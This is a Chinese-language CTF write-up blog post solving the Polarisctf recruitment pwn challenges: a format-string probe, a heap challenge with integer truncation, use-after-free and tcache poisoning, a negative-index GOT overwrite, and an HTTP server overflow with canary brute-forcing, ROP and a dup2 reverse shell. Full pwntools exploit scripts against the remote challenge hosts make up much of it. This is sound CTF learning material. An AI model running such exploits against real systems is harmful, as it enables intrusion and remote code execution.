Polarisctf招新赛

pwn

ez-nc

nc连一下???

这是干什么

难道限制7byte,还会ban字符

出题人怎么这么坏啊

这到底在考什么

格式化字符串???

wc,我是天才

可以还原一下函数

char buf[8];

scanf(“%7s”, buf);

printf(buf);

出canary了

%i$s

这内存里也没flag啊

字节序列 含义 解释
**<font style="color:rgb(68, 71, 70);">\x7fELF</font>** Magic Number 告诉系统:“我是一个 ELF 格式的可执行文件”。
**<font style="color:rgb(68, 71, 70);">\x02</font>** Class 代表 64 位(如果是 <font style="color:rgb(68, 71, 70);">\x01</font>
则代表 32 位)。
**<font style="color:rgb(68, 71, 70);">\x01</font>** Data 代表 小端序(Little Endian),这是 x86 架构的标准。
**<font style="color:rgb(68, 71, 70);">\x01</font>** Version ELF 文件的版本,通常固定为 <font style="color:rgb(68, 71, 70);">01</font>

ez-nc的文件头

有点奇怪的题

ezheap

有seccomp

ban 了execve和execveat

用orw

c++编译

全开

我去,2.39

有backdoor function,那还用个蛋的orw

这笔记看着就高级

翻译一下

编号 选项名称 翻译
[1] Register model artifact 注册模型产物
[2] Stream artifact chunk 流式传输产物分片
[3] Bootstrap async scheduler 引导异步调度器
[4] Inspect scheduler queue 检查调度队列
[5] Allocate session tensor 分配会话张量
[6] Complete batch inference 完成批处理推理
[7] Patch session metadata 修复/更新会话元数据
[8] Provision worker profile 配置工作节点配置文件
[9] Dispatch async task 派遣异步任务
[10] Runtime telemetry 运行时遥测
[11] Operator handbook 操作员手册
[0] Shutdown gateway 关闭网关

根本看不懂

这出题人怎么这么坏啊

•᷄ࡇ•᷅

什么叫main函数里还有加密???

不对,不是加密,这是自校验

底下这一块才是要看的

兮,这c++反汇编我还不太看的懂

慢慢看了

先清零buf 376+16字节

malloc 了0x200,512bytes

v23 = begin , v29=the chunk’s end

*(__m128i *)&buf[376] = _mm_unpacklo_epi64((__m128i)v23, (__m128i)v23);

将两个 64 位整数交叉组合成一个 128 位的向量

两个参数都是v23,故高64低64都是v23

sub_8A60 和 sub_3570:传入了 buf 的起始地址

先看看8a60

控制台这一块

ban execve

buf共用

用来int (str)的

8a60结束后free buf的,6720也是

看看case1

calloc

打印calloc的返回地址

单个输入 v9 (items) 和 v42 (stride) 被限制在 32 位以内

n32_1 = (std::ios_base *)(v42 * v9);

乘积被存入了 64 位的 n32_1 中

n32 = (unsignedint)n32_1;

强制将 64 位的 n32_1 转换为 32 位的 unsigned int

v13 = calloc(n32, 1uLL);

使用截断后的 32 位小数值去分配堆内存

存在 Integer Truncation (高位砍掉)

这样就可以伪造所记录的calloc的chunk大小

看看case2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// 1. 获取 Case 1 中记录的 64 位 chunk size
n0x5F_1 = *(_QWORD *)(buf + 16);
// 2. 获取输入的 offset
n0x5F_2 = n0x5F;
// 3. 尺寸检查
if ( n0x5F >= n0x5F_1 ) {
// 如果 offset 大于等于记录的大小,则报错
std::__ostream_insert(..., "stream exceeds declared artifact size", ...);
}
else {
// 4. 窗口策略检查
if ( n0x5F <= 0x5F ) { // 0x5F = 95
// 将 payload 拷贝到 arena_ptr + offset 的位置
// 限制条件:offset <= 95
}
}

看看case3

什么叫**引导异步调度器**

启动后台的任务分发系统

创建总控台(Scheduler Control Plane):分配一个全局的调度器控制块(queue_ctrl),里面记录了调度器的状态,并且初始化了安全策略(**strict_policy**** = 1)**

创建任务槽(Task Descriptors):循环 8 次,创建 8 个任务结构体(Task 0 到 Task 7)。每个结构体里预先填好了默认的回调函数指针(handler)和参数(context)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// 1. 分配控制块 (防火墙开关)
v10 = malloc(0x38); // 实际会分配出 0x40 大小的物理堆块
*((_WORD *)v10 + 4) = 257; // 在偏移 +0x08 的位置,写入了 strict_policy = 1
*(_QWORD *)(a1 + 32) = v10; // 把指针挂载到全局上下文 a1(buf) 上

// 2. 循环分配 8 个任务块 (执行流入口)
while ( n7 != 8 )
{
v15 = malloc(0x50); // 实际会分配出 0x60 大小的物理堆块
*((_QWORD *)v15 + 3) = sub_30A0; // 在偏移 +0x18 的位置,写入了默认的函数指针
*((_QWORD *)v15 + 4) = v15; // 在偏移 +0x20 的位置,写入了参数指针

// 把 Task 指针挂载到全局上下文 a1(buf) 偏移 +40 开始的数组中
*(_QWORD *)(a1 + 8 * n7 + 40) = v15;
++n7;
}

可以通过case2的溢出覆盖v10

看看case4

4可以泄露addr

看看case5

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
// 1. 校验 Slot 是否已被占用 (n0xF 为 0-15)
// a1 + 104 (0x68) 处开始存指针数组
if ( *(_QWORD *)(a1 + 8 * n0xF + 104) )
{
std::__ostream_insert(..., "session slot already allocated", ...);
return;
}

// 2. 分配 Session 核心对象 (申请 0x50, 实际分配 0x60 的堆块)
v11 = operator new(0x50uLL);
*(_QWORD *)v11 = n0xF; // +0x00: 存入 slot 号
*(_DWORD *)(v11 + 4) = size; // +0x04: 存入 tensor_bytes 大小

// 3. 分配 Payload 缓冲区
if ( size )
{
v14 = malloc(size); // 根据输入的大小分配数据区
*((_QWORD *)v11 + 1) = v14; // +0x08: payload_ptr (数据指针)
}

// 4. 初始化别名 (alias) 与回调函数
__snprintf_chk(v11 + 16, 32LL, ... , "%s", alias); // +0x10: 32 字节的 alias 字符串
*((_QWORD *)v11 + 7) = sub_2C50; // +0x38: postproc_func (默认函数指针)

// 5. 登记到全局上下文 (a1 为 392 字节的 buf)
*(_QWORD *)(a1 + 8 * n0xF + 104) = v11; // 登记对象指针到 buf[0x68 + slot*8]
*(_BYTE *)(a1 + n0xF + 360) = 1; // 将 active 标志位置 1 (buf[0x168 + slot])

case6

UAF

看看case7

可以用它改fd

这就是edit

看看case8

Case 8 表面上是一个配置节点的业务功能,但在 Pwn 攻击链中,它是一个无损的 64 位任意内存内容填充器

物理内存偏移 Case 8 以为它在写什么? (Worker Profile) 实际传入的 Payload Case 9 以为它在读什么? (Task Descriptor)
<font style="color:rgb(68, 71, 70);">+0x00</font> <font style="color:rgb(68, 71, 70);">cpu_quota</font> <font style="color:rgb(68, 71, 70);">0</font> <font style="color:rgb(68, 71, 70);">task_id</font>
<font style="color:rgb(68, 71, 70);">+0x08</font> <font style="color:rgb(68, 71, 70);">mem_quota</font> <font style="color:rgb(68, 71, 70);">0</font> 状态字段 / 占位
<font style="color:rgb(68, 71, 70);">+0x10</font> <font style="color:rgb(68, 71, 70);">io_weight</font> <font style="color:rgb(68, 71, 70);">0</font> 状态字段 / 占位
**<font style="color:rgb(68, 71, 70);">+0x18</font>** **<font style="color:rgb(68, 71, 70);">latency_slo</font>** **<font style="color:rgb(68, 71, 70);">backdoor_addr</font>** **<font style="color:rgb(68, 71, 70);">handler</font>**
(后门函数指针)
**<font style="color:rgb(68, 71, 70);">+0x20</font>** **<font style="color:rgb(68, 71, 70);">replicas</font>** **<font style="color:rgb(68, 71, 70);">task_0_addr + 40</font>** **<font style="color:rgb(68, 71, 70);">context</font>**
(传给后门函数的参数指针!)
**<font style="color:rgb(68, 71, 70);">+0x28</font>** **<font style="color:rgb(68, 71, 70);">memo</font>** **<font style="color:rgb(68, 71, 70);">b"\x00"*8</font>** **<font style="color:rgb(68, 71, 70);">tag</font>**
字符串 (随便)

看看case9

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
// 1. 提取结构体与函数指针
// a1: 392 字节的全局上下文 (buf)
// n7: 输入的 task_id (例如 0)
// 从 a1 + 40 (0x28) 处取出 Task 0 的绝对堆地址
v10 = *(_QWORD *)(a1 + 8 * n7 + 40);

if ( v10 && (sub_2FF0_1 = *(void (__fastcall **)(_QWORD))(v10 + 24)) != 0LL )
{
// v10 + 24 (+0x18): handler 函数指针
// v10 + 32 (+0x20): context 参数指针

// 2. 白名单与策略校验
if ( sub_2FF0_1 == sub_2FF0 // 检查是否为默认函数 A
|| (char *)sub_2FF0_1 == (char *)sub_30A0 // 检查是否为默认函数 B
|| *(_BYTE *)(*(_QWORD *)(a1 + 32) + 8LL) == 0 // 核心:检查 strict_policy 是否为 0
|| sub_2FF0_1 == sub_2F40 ) // 检查是否为默认函数 C
{
// 校验通过,执行函数调用
// 如果 strict_policy 被篡改为 0,则可以执行被替换后的 handler
sub_2FF0_1(*(_QWORD *)(v10 + 32));
}
else
{
// 策略拦截
std::__ostream_insert(..., "policy engine blocked non-whitelisted handler", ...);
}
}

可以通过case2把strict_policy改成0

看看case10

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// 1. 泄露代码段基址 (diag.audit_sink)
std::__ostream_insert(std::cout, " diag.audit_sink=", 17LL);
// sub_3210 相当于 printf("%p"),通过打印函数地址 sub_6750 泄露 PIE 基址
sub_3210((__int64)&v63, (__int64)sub_6750);
v13 = (std::ostream *)std::__ostream_insert(v12, v63, v64);

// 2. 遍历 Session 槽位泄露堆地址与 Tcache 指针
for ( i = 0LL; i != 16; ++i )
{
// 从全局数组 (a1 + 0x68) 遍历 16 个 Session 槽位
v22 = *(__int64 **)(a1 + 8 * i + 104);

if ( v22 )
{
// 漏洞点:只要槽位内指针非空即打印,忽略了 active 标志位状态
std::__ostream_insert(std::cout, "[session:", 9LL);
// ... 打印序号 ...

// 打印 Session 对象的绝对堆地址 (handle)
std::__ostream_insert(v24, "] handle=", 9LL);
sub_3210((__int64)v60, v22);

// 打印 Session 对象前 8 字节的内容 (q0)
// 如果该堆块处于 free 状态,此处可能泄露 Tcache 的加密指针 (next)
std::__ostream_insert(v26, " q0=", 4LL);
v23 = *v22;
sub_3210((__int64)v62, v23);
}
}

看看case11

原来是凑数的

2.32以上就有safe-linking了

有UAF时就可以直接得到heap_base_addr,pwn.college里写过太多了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
from pwn import *

context.log_level = 'debug'#'debug'
context.arch = 'amd64'
exe = '/home/shark/Desktop/ctf/temp/code/Polarisctf/ezheap/inference_forge'
context.binary = exe
flag = 0

def start():
if flag:
return process(exe)
else:
return remote('nc1.ctfplus.cn', 47430)

p = start()

def cmd(choice): p.sendlineafter(b"gateway> ", str(choice).encode())

def add(slot, size, alias):
cmd(5)
p.sendlineafter(b"> ", str(slot).encode())
p.sendlineafter(b"> ", str(size).encode())
p.sendlineafter(b"> ", alias)

def free(slot):
cmd(6)
p.sendlineafter(b"> ", str(slot).encode())

def edit(slot, idx, val):
cmd(7)
p.sendlineafter(b"> ", str(slot).encode())
p.sendlineafter(b"> ", str(idx).encode())
p.sendlineafter(b"> ", str(val).encode())

def worker(cpu, mem, io, slo, replicas, region, memo):
cmd(8)
p.sendlineafter(b"> ", str(cpu).encode())
p.sendlineafter(b"> ", str(mem).encode())
p.sendlineafter(b"> ", str(io).encode())
p.sendlineafter(b"> ", str(slo).encode())
p.sendlineafter(b"> ", str(replicas).encode())
p.sendlineafter(b"> ", str(region).encode())
p.sendlineafter(b"> ", memo)

def show(): cmd(10)
def boot(): cmd(3)
def chk(): cmd(4)

def run(task_id):
cmd(9)
p.sendlineafter(b"> ", str(task_id).encode())

show()
p.recvuntil(b"diag.audit_sink=")
backdoor_addr = int(p.recvuntil(b"\n", drop=True).replace(b"0x", b""), 16)
print(f"Backdoor: {hex(backdoor_addr)}")
boot()
chk()
pause()
p.recvuntil(b"queue_ctrl=")
queue_ctrl_addr = int(p.recvuntil(b" ", drop=True).replace(b"0x", b""), 16)
print(f"Queue Control: {hex(queue_ctrl_addr)}")
p.recvuntil(b"[task:0] desc=")
task_0_addr = int(p.recvuntil(b" ", drop=True).replace(b"0x", b""), 16)
print(f"Task 0: {hex(task_0_addr)}")

add(0, 16, b"1337")
free(0)
show()

p.recvuntil(b"[session:0] handle=")
p.recvuntil(b"q0=")
leak_addr = int(p.recvuntil(b" ", drop=True).replace(b"0x", b""), 16)
heap_base_addr = leak_addr << 12
print(f"Heap Base: {hex(heap_base_addr)}")#same as the pwn.college's DAM

add(1, 16, b"a")
add(2, 16, b"b")
free(2)
free(1)

obfuscated_queue = queue_ctrl_addr ^ (heap_base_addr >> 12)
edit(1, 0, obfuscated_queue)

add(3, 16, b"kkkk")

worker(
cpu = 0x49464F524745,
mem = 0, # 关闭白名单
io = 0, slo = 0, replicas = 0, region = 0,
memo = b"\x00"
)

#hijack Task
add(5, 16, b"c")
add(6, 16, b"d")
free(6)
free(5)

obfuscated_task = task_0_addr ^ (heap_base_addr >> 12)
edit(5, 0, obfuscated_task)

add(7, 16, b"shark")

worker(
cpu = 0, # +0x00: task_id
mem = 0, # +0x08: arg0
io = 0, # +0x10: state
slo = backdoor_addr, # +0x18: backdoor
replicas = task_0_addr + 40, # +0x20: pointer to memo
region = 0,
memo = b'\x00'
)
print("finaly •᷄ࡇ•᷅")
run(0)

p.interactive()

这题的阅读实在有点困难

•᷄ࡇ•᷅

treasure

伪c可比伪cpp清秀多了

这开了pie就几乎不太可能猜对了

看来是要覆盖got表拿shell

我去,有负index

但直接覆盖got的话后续的call function会error

可以只覆盖低一字节,libc.sys一下就行

然后得到leak_addr,算出libc_base_addr

这里用0xef52b,

通过input name可以将rbp-0x78,rbp-0x50覆盖为0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *

exe = '/home/shark/Desktop/ctf/temp/code/Polarisctf/pwn-treasure/attachments/pwn-treasure'
elf = ELF('/home/shark/Desktop/ctf/temp/code/Polarisctf/pwn-treasure/attachments/pwn-treasure')
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc = ELF('/home/shark/Desktop/ctf/temp/code/Polarisctf/pwn-treasure/attachments/libc.so.6')

context.log_level = 'debug'
context.binary = elf
flag = 0

def start():
if flag:
return process(exe)
else:
return remote('nc1.ctfplus.cn',44046)

io = start()

io.recvuntil(b"password: ")
io.sendline(b"1")

io.recvuntil(b"Which one?\n")
io.sendline(b"-14")

sleep(0.1)
system_low = libc.symbols['system'] & 0xff
io.send(p8(system_low))

io.recvuntil(b"the context: ")
leak_system_addr = u64(io.recv(6).ljust(8, b'\x00'))
libc_base = leak_system_addr - libc.symbols['system']

print(f"system addr : {hex(leak_system_addr)}")
print(f"Libc Base : {hex(libc_base)}")

io.recvuntil(b"you should tell me your name.\n")
io.sendline(b"\x00" * 64 + b"\n")

io.recvuntil(b"Last time!Lucky, guy!\n")
io.sendline(b"-13")

sleep(0.1)
offset = 0xebd3f
gadget_addr = libc_base + offset
print(f"Gadget: {hex(gadget_addr)}")
#gdb.attach(io, '''
# b printf
# c
#''')

io.send(p64(gadget_addr))
io.interactive()

offset那块要注意treasure连的libc.so.6是哪个

这才是正经题

˃̣̣̥᷄⌓˂̣̣̥᷅

httpd

看着像服务器的题

9999

甚至还会显示sig,也是提示fork爆canary了

子父进程共享mmap的内存

应该就是要搞这个函数

malloc了一块s

get和post请求

看看这个

http协议解析器

s1大概长这样

偏移 (Offset) 字段名 长度/类型 说明
<font style="color:rgb(68, 71, 70);">+0</font> <font style="color:rgb(68, 71, 70);">Method</font> 16 bytes 如 “GET” 或 “POST”
<font style="color:rgb(68, 71, 70);">+16</font> <font style="color:rgb(68, 71, 70);">Path</font> 256 bytes 请求路径
<font style="color:rgb(68, 71, 70);">+272</font> <font style="color:rgb(68, 71, 70);">Proto</font> 16 bytes 协议版本 (如 “HTTP/1.1”)
**<font style="color:rgb(68, 71, 70);">+288</font>** <font style="color:rgb(68, 71, 70);">Header_Count</font> 4 bytes (int) 当前解析到的 Header 数量
<font style="color:rgb(68, 71, 70);">+292</font> <font style="color:rgb(68, 71, 70);">Headers</font> 32 * 320 bytes Header 数组 (每个 Key 64B, Value 256B)
<font style="color:rgb(68, 71, 70);">+10532</font> <font style="color:rgb(68, 71, 70);">Token_Key</font> 64 bytes Cookie 中的 token 键名
<font style="color:rgb(68, 71, 70);">+10596</font> <font style="color:rgb(68, 71, 70);">Token_Value</font> 256 bytes Cookie 中的 token 值
**<font style="color:rgb(68, 71, 70);">+10856</font>** <font style="color:rgb(68, 71, 70);">Body_Ptr</font> 8 bytes (QWORD) 指向 POST Body 的堆指针
**<font style="color:rgb(68, 71, 70);">+10864</font>** <font style="color:rgb(68, 71, 70);">Content_Length</font> 8 bytes (QWORD) 解析出的正文长度
1
2
3
4
5
read(fd, buf, 0xFFFuLL);

haystack_1 = strstr((const char *)buf, "\r\n\r\n"); // 寻找 Header 结束标志
v7 = strstr((const char *)buf, "\r\n"); // 寻找第一行结束
*v7 = 0; // 截断第一行,方便 sscanf 解析

看看get

多少有点煎熬了

提取url路径

这LABEL_17怎么这么长•᷄ࡇ•᷅

检验token

char s[256]=0

检查admin token,if not goto start

这个if没有检验,直接进入

生成admin token

if a3(s),send admin token

进入/getCookie 时不为0

这样就得到了admin token

再看看post

这个是校验正常登入

检查admin token 后可以resetpasswd

通过token检验后用4035a0函数处理

canary is here

dest_3[5]=rbp-0x40+40bytes=rbp-0x18

寻找 “gateway” 对应的结构体,把指针赋给 a3

dest_3 只有56bytes,但memcpy的字节是post上去的payload决定

显然可以打rop

get,host请求+canary-fork泄露+stack-pivot+reset register+ret2libc

canary-leak

leak read_real_addr

这里要add rax,防止write不出来,write的值return 进rax里

没PIE真是件美事啊

就你了

就你了

打ret2libc

加个ret

这里没反应

shell怎么跑这里了

我查一查

ok了,是 Shell 默认的标准输入 (stdin, fd=0) 和 **标准输出 (stdout, fd=1)**问题

Socket和弹出来的 Shell 是互相隔离的

可以用rop.dup2( 4, 0)重定向stdin/out

试试

成了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
from pwn import *

HOST, PORT = 'nc1.ctfplus.cn', 14271
exe = '/home/shark/Desktop/ctf/temp/code/Polarisctf/pwn-httpd/attachments/httpd'
elf = ELF(exe, checksec=False)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)

context.log_level = 'debug'
context.binary = elf

def send_post(token, payload, get_shell=False):
r = remote(HOST, PORT, level='error')

raw_url_encoded = b"".join(b"%%%02X" % b for b in payload)

body_data = b"route_name=1&ip=1&subnet_mask=1&gateway=" + raw_url_encoded
conn_type = "keep-alive" if get_shell else "close"

header = (
f"POST /config HTTP/1.1\r\n"
f"Host: {HOST}:{PORT}\r\n"
f"Cookie: {token}\r\n"
f"Content-Type: application/x-www-form-urlencoded\r\n"
f"Content-Length: {len(body_data)}\r\n"
f"Connection: {conn_type}\r\n\r\n"
).encode()

r.send(header + body_data)

if get_shell:
return r
try:
return r.recvall(timeout=1)
except:
return b""


r = remote(HOST, PORT, level='error')
r.send(b"GET /getCookie HTTP/1.1\r\n\r\n")
token = b"token=" + r.recvall(timeout=1).split(b"token=")[1].split(b";")[0]
token_str = token.decode()
print(f"Admin Token: {token_str}")

print("Leaking Canary...")
canary = b'\x00'
for i in range(7):
for b in range(256):
payload = b"A" * 40 + canary + bytes([b])
if b"500" not in send_post(token_str, payload):
canary += bytes([b])
print(f"Canary found: {canary.hex()}")
break
print(f"Final Canary: {canary.hex()}")


got_plt = elf.get_section_by_name('.got.plt').header.sh_addr
ptr_to_got = next(elf.search(p64(got_plt)))
pause()
add_eax_b8 = 0x403009
magic_write_rdx = 0x401994

leak_pl = b"a" * 40 + canary + b"c" * 0x10
leak_pl += p64(ptr_to_got + 8)
leak_pl += p64(add_eax_b8) * 2
leak_pl += p64(magic_write_rdx)

resp = send_post(token_str, leak_pl)
offset = elf.got['read'] - got_plt
libc.address = u64(resp[offset : offset+8].ljust(8, b'\x00')) - libc.sym['read']
print(f"Libc Base: {hex(libc.address)}")
pause()
rop = ROP(libc)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.raw(next(elf.search(asm('ret')))) # 栈对齐
rop.system(next(libc.search(b'/bin/sh')))

payload = b"a" * 40 + canary + b"c" * 0x10 + b"b" * 8 + rop.chain()

print("finaly •᷄ࡇ•᷅")
r = send_post(token_str, payload, get_shell=True)
r.interactive()

ok了

这是爆的是真的慢

运气挺好,附件是没libc的,看来远程的libc.so.6跟我的一样,不过就算不一样也能用libsearch


Polarisctf招新赛
https://ghostshark-pro.github.io/2026/04/23/Polarisctf招新赛/
Author
shark
Posted
2026年4月23日
License